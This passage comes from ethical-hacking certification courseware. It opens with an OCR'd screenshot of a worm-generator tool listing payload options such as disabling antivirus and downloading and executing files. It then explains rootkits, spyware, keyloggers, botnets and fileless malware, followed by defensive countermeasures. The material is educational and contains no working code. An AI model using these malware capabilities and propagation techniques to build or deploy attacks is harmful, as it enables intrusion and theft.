[~ Spanish Startup

[ French Startup

[™ Italian Startup

Payloads:

" Activate Payloads On Date

Day:

[ -

OR

[~ Change Homepage
URL:

—

|~ Disable Norton Security

(" Randomly Activate Payloads

Chance of activating payloads:

1IN CHANCE

[ Hide All Drives

[~ Disable Task Manager

|~ Disable Keybord
[ Disable Mouse
[~ Message Box
Title:

——

Message:

—

Icon:

—

[~ Disable Regedit

[~ Disable Explorer.exe
[~ Change Reg Owner

Owner:

[~ Uninstall Norton Script Blocking

|~ Disable Macro Security
|~ Disable Run Commnd
[ Disable Shutdown

[~ Disable Logoff

[~ No Search Command
[~ Swap Mouse Buttons
|~ Open Webpage
URL:

—

[~ Change IE Title Bar
Text:

—

Text:

—

[~ Open Cd Drives
[ Lock Workstation

[~ Download File More?

URL:

[~ Change Reg Organisation

Organisation:

——

Save As:

———

[~ Execute Downloaded

[~ Disable Windows Security

[~ Disable Windows Update

[~ Change Win Media Player Txt

[~ Print Message

—

[~ Change Date
DD MM YY

[~ Disable System Restore [_ [_

[~ Change NOD32 Text
Title:

—

Message:
[~ OutiookFun1_?
URL:

—

Sender Name:

|~ Mute Speakers
[ Delete a File
Path:

[~ Delete aFolder
Path

—

[~ Change Wallpaper
Path Or URL:

—

[ CPU Monster
[~ Change Time
Hour Min

- -

[~ Play a Sound

—

[~ Loop Sound
[ Hide Desktop

r Disable Malware
Remove

r Disable Windows
File Protection

[~ Corrupt Antivirus

r Change Computer
Name

—

[~ Change Drive Icon
DLL, EXE, ICO:

[~ Add To Context Menu
[~ Change Clock Text
Text (Max 8 Chars):
’7
I= tes | 2 |
[~ Keyboard Disco

[~ Add To Favorites
Name:

—

URL:

——

Index:

Exploit Windows
Admin Lockout Bug

[ Blue Screen Of Death
Infection Options:

[™ Infect Bat Files

I Infect Vbs Files

[T Infect Vbe Files
Extras:

[™ Hide Virus Files

Plugins

[~ Custom Code

If You Liked This Program Please
Visit Me On

http://xirusteam. fallennetwork.com
If You Know Anything About VBS
Programming Help Support This
Project By Making A Plugin (See
Readme). Thanks.

Control Panel

Generate Worm

About Me

Figure 3.9: Screenshot of Internet Worm Maker Thing

Some additional worm makers are as follows:

Batch Worm Generator

C++ Worm Generator
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Rootkits

Rootkits are programs that hide their presence
as well as attacker’s malicious activities, granting
them full access to the server or host at that
time, and in the future

Rootkits replace certain operating system
calls and utilities with their own modified
versions of those routines that, in turn,
undermine the security of the target
system causing malicious functions to

be executed

A typical rootkit comprises of backdoor programs,
@ DDoS programs, packet sniffers, log-wiping
utilities, IRC bots, etc.
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Rootkits (Cont’d)

@ The attacker places a rootkit by: @ Objectives of a rootkit:

@ Scanning for vulnerable computers and @ To root the host system and gain
servers on the web remote backdoor access

@ Wrapping it in a special package like a © To mask attacker tracks and presence
game of malicious applications or processes

@ Installing it on public computers or €@ To gather sensitive data, network
corporate computers through social traffic, etc. from the system to which
engineering attackers might be restricted or possess

no access

@ Launching a zero-day attack (privilege
escalation, buffer overflow, Windows €@ To store other malicious programs on
kernel exploitation, etc.) the system and act as a server resource

for bot updates

Rootkits

Rootkits are software programs designed to gain access to a computer without being detected.
They are malware that help attackers gain unauthorized access to a remote system and
perform malicious activities. The goal of a rootkit is to gain root privileges to a system. By
logging in as the root user of a system, an attacker can perform various tasks such as installing
software or deleting files. It works by exploiting the vulnerabilities in the OS and its
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applications. It builds a backdoor login process in the OS via which the attacker can evade the
standard login process.

Once the user enables root access, a rootkit may attempt to hide the traces of unauthorized
access by modifying drivers or kernel modules and discarding active processes. Rootkits replace
certain OS calls and utilities with their own modified versions of those routines that, in turn,
undermine the security of the target system by executing malicious functions. A typical rootkit
comprises backdoor programs, DDoS programs, packet sniffers, log-wiping utilities, IRC bots,
and others.

Rootkits are used to hide viruses, worms, bots, etc. and are difficult to remove. Malware hidden
by rootkits is used to monitor, filter, or steal sensitive information and resources, change the
configuration settings of the target computer, and perform other potentially unsafe actions.

Rootkits are installed by attackers after they gain administrative access, either by manipulating
a vulnerability or cracking a password. Once the attacker obtains control over the target
system, they can modify files and existing software that detects rootkits.

Rootkits are activated each time the system is rebooted, before the operating system
completes loading, making their detection challenging. Rootkits install hidden files, processes,
hidden user accounts, and so on in the system’s operating system to perform malicious
activities. They intercept data from terminals, keyboard, and network connections, and enable
attackers to extract sensitive information from the target user. Rootkits gather sensitive user
information such as usernames, passwords, credit card details, and bank account details, in
order to commit fraud or accomplish other malicious objectives.

The attacker places a rootkit by

= Scanning for vulnerable computers and servers on the web

= Wrapping the rootkit in a special package like a game

= |nstalling it on public or corporate computers through social engineering

= Launching a zero-day attack (privilege escalation, Windows kernel exploitation, etc.)
Objectives of a rootkit:

= To root the host system and gain remote backdoor access

= To mask attacker tracks and presence of malicious applications or processes

= To gather sensitive data, network traffic, etc. from the system for which attackers might
be restricted or have no access

= To store other malicious programs on the system and act as a server resource for bot
updates
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Potentially Unwanted Application or Applications (PUAs)

m Also known as grayware or junkware, are potentially harmful applications that may pose severe risks to the
security and privacy of data stored in the system where they are installed

Installed when downloading and installing freeware using a third-party installer or when accepting a
misleading license agreement

Covertly monitor and alter the data or settings in the system, similarly to other malware

Types of PUAs
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Potentially Unwanted Application or Applications (PUAs)

Potentially unwanted applications or programs (PUAs or PUPs, respectively), also known as
grayware/junkware, are potentially harmful applications that may pose severe risks to the
security and privacy of data stored in the system where they are installed. Most PUAs originate
from sources such as legitimate software packages and even malicious applications used for
illegal activities. PUAs can degrade system performance and compromise privacy and data
security. Most PUAs get installed when downloading and installing freeware using a third-party
installer or when accepting a misleading license agreement. PUAs can covertly monitor and
alter the data or settings in the system, similarly to other malware.

Types of PUAs

= Adware: These PUAs display unsolicited advertisements offering free sales and pop-ups
of online services when browsing websites. They may disturb normal activities and lure
victims into clicking on malicious URLs. They may also issue bogus reminders regarding
outdated software or OS.

= Torrent: When using torrent applications for downloading large files, the user may be
compelled to download unwanted programs that have features of peer-to-peer file
sharing.

= Marketing: Marketing PUAs monitor the online activities performed by users and send
browser details and information regarding personal interests to third-party app owners.
These applications then market products and resources based on users’ personal
interests.

= Cryptomining: Cryptomining PUAs make use of the victims’ personal assets and financial
data on the system and perform the digital mining of cryptocurrencies such as bitcoins.
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= Dialers: Dialers or spyware dialers are programs that get installed and configured in a
system automatically to call a set of contacts at several locations without the user’s
consent. Dialers cause massive telephone bills and are sometimes very difficult to locate
and delete.
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Adware

O A software or a program that supports advertisements and
generates unsolicited ads and pop-ups

O Tracks the cookies and user browsing patterns for marketing
purposes and collects user data

O Consumes additional bandwidth, and exhausts CPU
resources and memory

Indications of Adware

¢ Frequent system lag
* Inundated advertisements
* Incessant system crash

* Disparity in the default browser homepage

* Presence of new toolbar or browser add-ons
¢ Slow Internet ANNOYING INTERNET ADS
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Adware

Adware refers to software or a program that supports advertisements and generates
unsolicited ads and pop-ups. It tracks cookies and user browsing patterns for marketing
purposes and to display advertisements. It collects user data such as visited websites to
customize advertisements for the user. Legitimate software can be embedded with adware to
generate revenue, in which case the adware is considered a legitimate alternative provided to
customers who do not wish to pay for the software. In some cases, legitimate software may be
embedded with adware by an attacker or a third party to generate revenue.

Software containing legitimate adware typically provides the option to disable ads by
purchasing a registration key. Software developers utilize adware as a means to reduce
development costs and increase profits. Adware enables them to offer software for free or at
reduced prices, motivating them to design, maintain, and upgrade their software products.

Adware typically requires an Internet connection to run. Common adware programs include
toolbars on a user’s desktop or those that work in conjunction with the user’s web browser.
Adware may perform advanced searches on the web or a user’s hard drive and may provide
features to improve the organization of bookmarks and shortcuts. Advanced adware may also
include games and utilities that are free to use but display advertisements while the programs
launch. For example, users may be required to wait until an ad is completed before watching a
YouTube video.

While adware can be beneficial by offering an alternative to paid software, attackers can
misuse adware to exploit users. When legitimate adware is uninstalled, the ads should stop.
Further, legitimate adware requests a user for permission before collecting user data. However,
when user data are collected without the user’s permission, the adware is malicious. Such
adware is termed spyware and can affect the user’s privacy and security. Malicious adware is
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installed on a computer via cookies, plug-ins, file sharing, freeware, and shareware. It consumes
additional bandwidth and exhausts CPU resources and memory. Attackers perform spyware
attacks and collect information from the target user’s hard drive about visited websites or
keystrokes in order to misuse the information and conduct fraud.

Indications of Adware

Frequent system lag: If the system takes longer than usual to respond, it may have
adware infection. Adware also affects the processor speed and consumes memory,
degrading performance.

Inundated advertisements: The user is flooded with unsolicited advertisements and
pop-ups in the user interface while browsing. Occasionally, the advertisements can be
very challenging to close, paving way to malicious redirections.

Incessant system crash: The user’s system may crash or freeze constantly, occasionally
displaying the blue screen of death (BSoD).

Disparity in the default browser homepage: The default browser homepage changes
unexpectedly and redirects to malicious pages that contain malware.

Presence of new toolbar or browser add-ons: The installation of a new toolbar or
browser add-on without the user’s consent is an indication of adware.

Slow Internet: Adware may cause the Internet connection to slow down even in normal
usage by downloading huge advertisements and unwanted items in the background.
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Spyware (Cont’d)
Spyware Propagation What Does the Spyware Do?

Steals users’ personal information and
sends it to a remote server or hijacker

Drive-by download

Masquerading as anti-spyware Monitors users’ online activity

Web browser vulnerability exploits . .
Displays annoying pop-ups

Piggybacked software installation Redirects a web browser to advertising sites

Browser add-ons Changes the browser’s default settings

® 0 ®© © e 6

Cookies

® 0 © 6 6 6

Changes firewall settings

Spyware

Spyware is stealthy computer monitoring software that allows you to secretly record all the
user activities on a target computer. It automatically delivers logs to the remote attacker using
the Internet (via email, FTP, command and control through encrypted traffic, HTTP, DNS, etc.).
The delivery logs include information about all areas of the system, such as emails sent,
websites visited, every keystroke (including logins/passwords for Gmail, Facebook, Twitter,
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LinkedIn, etc.), file operations, and online chat conversations. It also takes screenshots at set
intervals, just like a surveillance camera aimed at the computer monitor. Spyware is similar to a
Trojan horse, which is usually bundled as a hidden component of freeware or software
downloaded from the Internet. It hides its process, files, and other objects to avoid detection
and removal.

Spyware infects a user’s system when they visit a fraudulent website containing malicious code
controlled by the spyware author. This malicious code forcibly downloads and installs spyware
on the user’s computer. It may also infect the computer by, for example, manipulating
loopholes in the browser/software or binding itself with trusted software. Once spyware is
installed, it monitors the user’s activities on the Internet. This allows an attacker to gather
information about a victim or organization, such as email addresses, user logins, passwords,
credit card numbers, and banking credentials.
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Figure 3.10: Demonstration of spyware
= Spyware Propagation

As its name implies, spyware is installed without user knowledge or consent, and this
can be accomplished by “piggybacking” the spyware onto other applications. This is
possible because spyware uses advertising cookies, which is one of the spyware
subclasses. Spyware can also affect your system when you visit a spyware distribution
website. Because it installs itself when you visit and click something on a website, this
process is known as “drive-by downloading.”

As a result of normal web surfing or downloading activities, the system may
inadvertently become infected with spyware. It can even masquerade as anti-spyware
and run on the user’s computer without any notice, whenever the user downloads and
installs programs that are bundled with spyware.

=  What Does the Spyware Do?

We have already discussed spyware and its main function of watching user activities on
a target computer. We also know that once an attacker succeeds in installing spyware
on a victim’s computer using the propagation techniques discussed earlier, they can
perform several offensive actions to the victim’s computer. Therefore, let us now learn
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more about the capabilities of spyware, as we are now aware of its ability to monitor
user activities.

The installed spyware can also help the attacker perform the following on target
computers:

o

o

Steals users’ personal information and sends it to a remote server or hijacker
Monitors users’ online activity

Displays annoying pop-ups

Redirects a web browser to advertising sites

Changes the browser’s default setting and prevents the user from restoring it
Adds several bookmarks to the browser’s favorites list

Decreases overall system security level

Reduces system performance and causes software instability

Connects to remote pornography sites

Places desktop shortcuts to malicious spyware sites

Steals your passwords

Sends you targeted email

Changes the home page and prevents the user from restoring it

Modifies the dynamically linked libraries (DLLs) and slows down the browser

Changes firewall settings

Monitors and reports websites you visit
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Keylogger

0 Keystroke loggers are programs or hardware devices that monitor each keystroke as the user types on
a keyboard, logs onto a file, or transmits them to a remote location

O It allows the attacker to gather confidential information about the victim such as email ID, passwords,
banking details, chat room activity, IRC, and instant messages

B E \.7

SRl i Keylogger i
Password:
@' . Password: @
= ADMIN

Victim Attacker
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Keylogger

Keyloggers are software programs or hardware devices that record the keys struck on the
computer keyboard (also called keystroke logging) of an individual computer user or a network
of computers. You can view all the keystrokes of the victim’s computer at any time in your
system by installing this hardware device or program. It records almost all the keystrokes on a
keyboard of a user and saves the recorded information in a text file. As keyloggers hide their
processes and interface, the target is unaware of the keylogging. Offices and industries use
keyloggers to monitor employees’ computer activities, and they can also be used in home
environments for parents to monitor children’s Internet activities.

A keylogger, when associated with spyware, helps to transmit a user’s information to an
unknown third party. Attackers use it illegally for malicious purposes, such as stealing sensitive
and confidential information about victims. This sensitive information includes email IDs,
passwords, banking details, chat room activity, Internet relay chat (IRC), instant messages, and
bank and credit card numbers. The data transmitted over the encrypted Internet connection
are also vulnerable to keylogging because the keylogger tracks the keystrokes before
encryption.

The keylogger program is installed onto the user’s system invisibly through email attachments
or “drive-by” downloads when users visit certain websites. Physical keystroke loggers “sit”
between keyboard hardware and the OS, so that they can remain undetected and record every
keystroke.
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Keylogger

Password: @
ADMIN

Victim Attacker

Figure 3.11: lllustration of keylogger
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What a Keylogger can Do?

Record every keystroke typed on the user’s keyboard

Capture screenshots at regular intervals, showing user
activity such as typed characters

Track the activities of users by logging Window titles,
names of launched applications, etc.

Monitor the online activity of users by
recording addresses of the websites visited

Record all login names, bank and credit card numbers,
and passwords

Record online chat conversations

Copyright © by EC-Council. All Rights Reserved. Reproduction s Strictly Prohibited.

What a Keylogger can Do?

A keylogger can:

Record every keystroke typed on the user’s keyboard

Capture screenshots at regular intervals, showing user activity such as typed characters
or clicked mouse buttons

Track the activities of users by logging Window titles, names of launched applications,
and other information

Monitor the online activity of users by recording addresses of the websites visited and
with keywords entered

Record all login names, bank and credit card numbers, and passwords, including hidden
passwords or data displayed in asterisks or blank spaces

Record online chat conversations

Make unauthorized copies of both outgoing and incoming email messages
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Botnets

O A Botnet is a collection of compromised computers connected to the Internet to perform a distributed task

O Attackers distribute malicious software that turns a user’s computer into a bot

U Bot refers to a program or an infected system that performs repetitive work or acts as an agent or as a user
interface to control other programs
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Botnets

A botnet is a collection of compromised computers connected to the Internet to perform a
distributed task. Attackers distribute malicious software that turns a user’s computer into a bot,
which refers to a program or an infected system that performs repetitive work or acts as an
agent or as a user interface to control other programs. The infected computer then performs
automated tasks without the user’s permission. Attackers use bots to infect a large number of
computers. Cyber-criminals who control bots are called botmasters. Bots spread across the
Internet and search for vulnerable and unprotected systems. When it finds an exposed system,
it quickly infects the system and reports back to the botmaster.

Attackers use botnets to distribute spam emails and conduct denial-of-service attacks and
automated identity thefts. The performance of a computer that is part of a botnet might be
affected. Botmasters use infected computers to perform various automated tasks. They may
instruct the infected systems to transmit viruses, worms, spam, and spyware. Botmasters also
steal personal and private information from the target users such as credit card numbers, bank
details, usernames, and passwords. Botmasters launch DoS attacks on specific target users and
extort money to restore the users’ control over the compromised resources. Botmasters may
also use bots to boost web advertisement billings by automatically clicking on Internet ads.

Bots enter a target system using a payload in a Trojan horse or similar malware. They infect the
target system through drive-by-downloads, or by sending spam mails that are embedded with
malicious content.

The figure illustrates how an attacker launches a botnet-based DoS attack on a target server.
The attacker sets up a bot C&C center, following which they infect a machine (bot) and
compromises it. Later, they use this bot to infect and compromise other vulnerable systems

Module 03 Page 165 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52

Information Security Threats and Vulnerability Assessment

available in the network, resulting in a botnet. The bots (also known as zombies) connect to the
C&C center and awaits instructions. Subsequently, the attacker sends malicious commands to
the bots through the C&C center. Finally, as per the attacker’s instructions, the bots launch a
DoS attack on a target server, making its services unavailable to legitimate users in the network.
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Figure 3.12
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Why Attackers use Botnets?
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Why Attackers use Botnets?

Attackers can use botnets to perform the following:

DDoS attacks: Botnets can generate DDoS attacks, which consume the bandwidth of the
victim’s computers. Botnets can also overload a system, wasting valuable host system
resources and destroying network connectivity.

Spamming: Attackers use a SOCKS proxy for spamming. They harvest email addresses
from web pages or other sources.

Sniffing traffic: A packet sniffer observes the data traffic entering a compromised
machine. It allows an attacker to collect sensitive information such as credit card
numbers and passwords. The sniffer also allows an attacker to steal information from
one botnet and use it against another botnet. In other words, botnets can rob one
another.

Keylogging: Keylogging is a method of recording the keys typed on a keyboard, and it
provides sensitive information such as system passwords. Attackers use keylogging to
harvest account login information for services such as PayPal.

Spreading new malware: Botnets can be used to spread new bots.

Installing advertisement add-ons: Botnets can be used to perpetrate a “click fraud” by
automating clicks.

Google AdSense abuse: Some companies permit showing Google AdSense ads on their
websites for economic benefits. Botnets allow an intruder to automate clicks on an ad,
producing a percentage increase in the click queue.
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= Attacks on IRC chat networks: Also called clone attacks, these attacks are similar to a
DDoS attack. A master agent instructs each bot to link to thousands of clones within an
IRC network, which can flood the network.

= Manipulating online polls and games: Every botnet has a unique address, enabling it to
manipulate online polls and games.

= Mass identity theft: Botnets can send a large number of emails while impersonating a
reputable organization such as eBay. This technique allows attackers to steal
information for identity theft.

Module 03 Page 168 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Information Security Threats and Vulnerability Assessment

Fileless Malware

Fileless malware, also known as non-malware,
infects legitimate software, applications, and other
protocols existing in the system to perform various
malicious activities

Leverages any existing vulnerabilities to infect the system

Resides in the system’s RAM

Injects malicious code into the running processes
such as Microsoft Word, Flash, Adobe PDF Reader,
Javascript, and PowerShell
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Fileless Malware

Fileless malware, also called non-malware, infects legitimate software, applications, and other
protocols existing in the system to perform various malicious activities. This type of malware
leverages existing vulnerabilities to infect the system. It generally resides in the system’s RAM.
It injects malicious code into running processes such as Microsoft Word, Flash, Adobe PDF
Reader, Javascript, PowerShell, .NET, malicious Macros, and Windows Management
Instrumentation (WMI).

Fileless malware does not depend on files and leaves no traces, thereby making it difficult to
detect and remove using traditional anti-malware solutions. Therefore, such malware is highly
resistant to computer forensics techniques. It mostly resides in volatile memory locations such
as running processes, system registry, and service areas. Once the fileless malware gains access
to the target system, it can exploit system administration tools and processes to maintain
persistence, escalate privileges, and move laterally across the target network. Attackers use
such malware to steal critical data from the system, install other types of malware, or inject
malicious scripts that automatically execute with every system restart to continue the attack.
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Reasons for Using Fileless Malware in
Cyber Attacks
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Reasons for Using Fileless Malware in Cyber Attacks
The various reasons for using fileless malware in cyber-attacks are as follows:

= Stealth: Fileless malware exploits legitimate system tools; hence, it is extremely difficult
to detect, block, or prevent fileless attacks.

= LOL (Living-off-the-land): System tools exploited by fileless malware are already
installed in the system by default. An attacker does not need to create and install
custom tools on the target system.

= Trustworthy: The system tools used by fileless malware are the most frequently used
and trusted tools; hence, security tools incorrectly assume that such tools are running
for a legitimate purpose.
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Fileless Propagation Techniques

= Phishing emails: Attackers use phishing emails embedded with malicious links or
downloads, which, when clicked, inject and run malicious code in the victim’s memory.

= Legitimate applications: Attackers exploit legitimate system packages installed in the
system, such as Word, and JavaScript, to run the malware.

= Native applications: Operating systems such as Windows include pre-installed tools
such as PowerShell, Windows Management Instrumentation (WMI). Attackers exploit
these tools to install and run malicious code.

= Infection through lateral movement: Once the fileless malware infects the target
system, attackers use this system to move laterally in the network and infect other
systems connected to the network.

= Malicious websites: Attackers create fraudulent websites that appear legitimate. When
a victim visits such a website, it automatically scans the victim’s system to detect
vulnerabilities in plugins that can be exploited by the attackers to run malicious code in
the browser’s memory.

= Registry manipulation: Attackers use this technique to inject and run malicious code
directly from the Windows registry through a legitimate system process. This helps
attackers to bypass UAC, application whitelisting, etc., and also infect other running
processes.

= Memory code injection: Attackers use this technique to inject malicious code and
maintain persistence in the process memory of the running process with the aim of
propagating and re-injecting it into other legitimate system processes that are critical
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for normal system operation. This helps in bypassing regular security controls. The
various code injection techniques used by attackers include local shellcode injection,
remote thread injection, process hallowing, etc.

= Script-based injection: Attackers often use scripts in which the binaries or shellcode are
obfuscated and encoded. Such script-based attacks might not be completely fileless. The
scripts are often embedded in documents as email attachments.
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Malware Countermeasures

Malware is commonly used by attackers to compromise target systems. Preventing malware
from entering a system is far easier than trying to eliminate it from an infected system.

This section presents various countermeasures that prevent malware from entering a system
and minimize the risk caused by it upon its entry.

Trojan Countermeasures

Some countermeasures against Trojans are as follows:

Avoid opening email attachments received from unknown senders
Block all unnecessary ports at the host and use a firewall
Avoid accepting programs transferred by instant messaging

Harden weak default configuration settings and disable unused functionality, including
protocols and services

Monitor the internal network traffic for odd ports or encrypted traffic

Avoid downloading and executing applications from untrusted sources

Install patches and security updates for the OS and applications

Scan external USB drives and DVDs with antivirus software before using them

Restrict permissions within the desktop environment to prevent installation of malicious
applications

Avoid typing commands blindly and implementing pre-fabricated programs or scripts
Manage local workstation file integrity through checksums, auditing, and port scanning

Run host-based antivirus, firewall, and intrusion detection software
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Virus and Worm
Countermeasures

Install antivirus software and update it
regularly

Schedule regular scans for all drives after
the installation of antivirus software

Pay attention to the instructions while
downloading files from the Internet

Avoid opening attachments received from
an unknown sender

Regularly maintain data backup
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Virus and Worm Countermeasures
Some countermeasures against viruses and worms are as follows:
= |nstall antivirus software that detects and removes infections as they appear
= Pay attention to the instructions while downloading files or programs from the Internet
= Regularly update antivirus software

= Avoid opening attachments received from unknown senders, as viruses spread via e-
mail attachments

= Since virus infections can corrupt data, ensure that you perform regular data backups
= Schedule regular scans for all drives after the installation of antivirus software

= Do not accept disks or programs without checking them first using a current version of
an antivirus program

= Do not boot the machine with an infected bootable system disk

= Stay informed about the latest virus threats

= Check DVDs for virus infection

= Ensure that pop-up blockers are turned on and use an Internet firewall
= Perform disk clean-up and run a registry scanner once a week

= Run anti-spyware or anti-adware once a week

= Do not open files with more than one file-type extension

= Be cautious with files sent through instant messenger applications
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Rootkit Countermeasures

J Reinstall OS/applications from a trusted
source after backing up the critical data

J Maintain well-documented automated
installation procedures

- Harden the workstation or server
against the attack

J Install network and host-based firewalls

J Avoid logging in to an account with administrative
privileges
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Rootkit Countermeasures
A few techniques adopted to defend against rootkits are as follows:
= Reinstall OS/applications from a trusted source after backing up critical data
= Maintain well-documented automated installation procedures
= Perform kernel memory dump analysis to determine the presence of rootkits
= Harden the workstation or server against the attack
= Do not download any files/programs from untrusted sources
= |nstall network- and host-based firewalls and frequently check for updates
= Ensure the availability of trusted restoration media
= Update and patch OSs, applications, and firmware

= Regularly verify the integrity of system files using cryptographically strong digital
fingerprint technologies

= Regularly update antivirus and anti-spyware software

= Keep anti-malware signatures up to date

= Avoid logging into an account with administrative privileges

= Adhere to the least privilege principle

= Ensure that the chosen antivirus software possesses rootkit protection

= Do not install unnecessary applications, and disable the features and services not in use
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= Refrain from engaging in dangerous activities on the Internet

= C(Close any unused ports

= Periodically scan the local system using host-based security scanners

= Increase the security of the system using two-step or multi-step authentication, so that
an attacker will not gain root access to the system to install rootkits

= Never read emails, browse websites, or open documents while handling an active
session with a remote server
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Spyware Countermeasures
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Adjust the browser security settings to
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s =y Be cautious about suspicious emails and sites

Regularly check the task manager report and
MS configuration manager report

NO SPYWARE

Install and use anti-spyware software
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Spyware Countermeasures

Different ways to defend against spyware are as follows:

Try to avoid using any computer system that you do not have a complete control over.

Never adjust your Internet security setting level too low because it provides many
chances for spyware to be installed on your computer. Therefore, always set your
Internet browser security settings to either high or medium to protect your computer
from spyware.

Do not open suspicious emails and file attachments received from unknown senders.
There is a high likelihood that you will allow a virus, freeware, or spyware onto the
computer. Do not open unknown websites linked in spam mail messages, retrieved by
search engines, or displayed in pop-up windows because they may mislead you into
downloading spyware.

Enable a firewall to enhance the security level of your computer.

Regularly update the software and use a firewall with outbound protection.
Regularly check Task Manager and MS Configuration Manager reports.
Regularly update virus definition files and scan the system for spyware.

Install anti-spyware software. Anti-spyware is the first line of defense against spyware.
This software prevents spyware from installing on your system. It periodically scans and
protects your system from spyware.
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=  Keep your OS up to date.
o Windows users should periodically perform a Windows or Microsoft update.

o For users of other OSs or software products, refer to the information given by the OS
vendors, and take essential steps against any vulnerability identified.

= Perform web surfing safely and download cautiously.

o Before downloading any software, ensure that it is from a trusted website. Read the
license agreement, security warning, and privacy statements associated with the
software thoroughly to gain a clear understanding before downloading it.

o Before downloading freeware or shareware from a website, ensure that the site is
safe. Likewise, be cautious with software programs obtained through P2P file-
swapping software. Before installing such programs, perform a scan using anti-
spyware software.

= Do not use administrative mode unless it is necessary, because it may execute malicious
programs such as spyware in administrator mode. Consequently, attackers may take
complete control of your system.

= Do not download free music files, screensavers, or emoticons from the Internet because
when you do, there is a possibility that are downloading spyware along with them.

= Beware of pop-up windows or web pages. Never click anywhere on the windows that
display messages such as “your computer may be infected,” or claim that they can help
your computer to run faster. If you click on such windows, your system may become
infected with spyware.

= Carefully read all disclosures, including the license agreement and privacy statement,
before installing any application.

= Do not store personal or financial information on any computer system that is not
totally under your control, such as in an Internet café.
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4 Install trusted anti-virus, anti-adware, or ad-blocker software

{ I Be vigilant towards social engineering techniques and phishing attacks
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PUAs/Adware Countermeasures
Some common countermeasures against PUAs/adware are as follows.

= Always use whitelisted, trusted, and authorized software vendors and websites for
downloading software.

= Always read the end-user license agreement (EULA) and any other terms and conditions
before installing any program.

= Always turn on the option to detect PUAs in the OS or antivirus software.
= Regularly update the OS and antivirus software to detect and patch the latest PUAs.

= Uncheck unnecessary options while performing software setup to prevent the
automatic installation of PUAs.

= Avoid installing programs through the “express method” or “recommended method”
and instead choose custom installation.

= Be vigilant towards social engineering techniques and phishing attacks to avert the
download of PUAs.

= |nstall trusted antivirus, anti-adware, or ad-blocker software to detect and block adware
and other malicious programs.

= Use paid software versions and avoid downloading freeware and other shareware
programs provided by third-party vendors.

= Employ a firewall to filter data transmission and to send only authorized and trusted
content.

= Carefully examine URLs and email addresses, and avoid clicking on suspicious links.
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Take time to research and read online reviews before downloading any software or
plug-in.

Attempt to search for the software in a search engine, instead of clicking on ads
redirecting to software download.
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Keylogger Countermeasures

O Use pop-up blockers and avoid opening junk emails

O Install anti-spyware/antivirus programs and keep
the signatures up to date

O Install professional firewall software and anti-
keylogging software

O Use keystroke interference software, which inserts
randomized characters into every keystroke

O Use the Windows on-screen keyboard accessibility utility
to enter a password
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Keylogger Countermeasures
Different countermeasures to defend against keyloggers are listed as follows:

= Use pop-up blockers and avoid opening junk emails.

Install anti-spyware/antivirus programs and keep the signatures up to date.
= |nstall professional firewall software and anti-keylogging software.

= Recognize phishing emails and delete them.

= Regularly update and patch system software.

= Do not click on links in unsolicited or dubious emails that may direct you to malicious
sites.

= Use keystroke interference software that insert randomized characters into every
keystroke.

= Antivirus and anti-spyware software can detect any installed software, but it is better to
detect these programs before installation. Scan the files thoroughly before installing
them onto the computer and use a registry editor or process explorer to check for
keystroke loggers.

= Use the Windows on-screen keyboard accessibility utility to enter a password or any
other confidential information. Use your mouse to enter any information such as
passwords and credit card numbers into the fields, by using your mouse instead of
typing the passwords with the keyboard. This will ensure that your information is
confidential.
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= Use an automatic form-filling password manager or a virtual keyboard to enter
usernames and passwords, as this will avoid exposure through keyloggers. This
automatic form-filling password manager will remove the need to type your personal,
financial, or confidential details such as credit card numbers and passwords via the
keyboard.

= Keep your hardware systems secure in a locked environment and frequently check the
keyboard cables for attached connectors, USB port, and computer games such as the
PS2 that may have been used to install keylogger software.

= Use software that frequently scan and monitor changes in your system or network.

= |nstall a host-based IDS, which can monitor your system and disable the installation of
keyloggers.

= Use one-time password (OTP) or other authentication mechanisms such as two-step or
multi-step verification to authenticate users.

= Enable application whitelisting to block downloading or installing of unwanted software
such as keyloggers.

= Use VPN to enable an additional layer of protection through encryption.
= Use process-monitoring tools to detect suspicious processes and system activities.

= Regularly patch and update software and the OS.
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restrict access through Windows Group Policy

Fileless Malware Countermeasures

Remove all the administrative tools and

Disable PowerShell and WMI when

or Windows AppLocker not in use

Disable PDF readers to

automatically run JavaScript

Disable Flash in the browser
settings

Run periodic AV scans to detect infections
and keep AV updated
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Fileless Malware Countermeasures

Some countermeasures against fileless malware attacks are as follows:

Remove all the administrative tools and restrict access through Windows Group Policy
or Windows AppLocker

Disable PowerShell and WMI when not in use
Disable macros and use only digitally signed trusted macros

Install whitelisting solutions such as McAfee Application Control to block unauthorized
applications and code running on your systems

Never enable macros in MS Office documents
Disable PDF readers to run JavaScript automatically
Disable Flash in the browser settings

Implement two-factor authentication to access critical systems or resources connected
to the network

Implement multi-layer security to detect and defend against memory-resident malware
Use User Behavior Analytics (UBA) solutions to detect threats hidden within your data

Ensure the ability to detect system tools such as PowerShell and WMIC, and whitelisted
application scripts against malicious attacks

Run periodic antivirus scans to detect infections and keep the antivirus program
updated

Install browser protection tools and disable automatic plugin downloads
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= Schedule regular security checks for applications and regularly patch the applications

= Regularly update the OS with the latest security patches

=  Examine all the running programs for any malicious or new signatures and heuristics

= Enable endpoint security with active monitoring to protect networks when accessed
remotely

= Examine the indicators of compromise on the system and the network

= Regularly check the security logs especially when excessive amounts of data leave the
network

= Restrict admin rights and provide the least privileges to the user level to prevent
privilege escalation attacks

= Use application control to prevent Internet browsers from spawning script interpreters
such as PowerShell and WMIC.

= Carefully examine the changes in the system’s usual behavior patterns compared with
the baselines

= Use next-generation antivirus (NGAV) software that employs advanced technology such
as ML (machine learning) and Al (artificial intelligence) to avoid new polymorphic
malware

= Use baseline and search for known tactics, techniques, and procedures (TTPs) used by
many adversarial groups

= Ensure that you use Managed Detection and Response (MDR) services that can perform
threat hunting

= Ensure that you use tools such as Blackberry Cylance and Microsoft Enhanced Mitigation
Experience Toolkit to combat fileless attacks

= Disable unused or unnecessary applications and service features
= Uninstall applications that are not important

=  Block all the incoming network traffic or files with the .exe format
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Define Vulnerabilities

In a network, there are generally two main causes for systems being vulnerable: (1) software or
hardware misconfiguration and (2) poor programming practices. Attackers exploit these
vulnerabilities to perform various types of attacks on organizational resources. This section
describes vulnerabilities, classification of vulnerabilities, and the impact caused by these
vulnerabilities.
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What is Vulnerability?

[ Refers to the existence of weakness in an
asset that can be exploited by threat agents

Common Reasons behind the
Existence of Vulnerability

Hardware or software misconfiguration
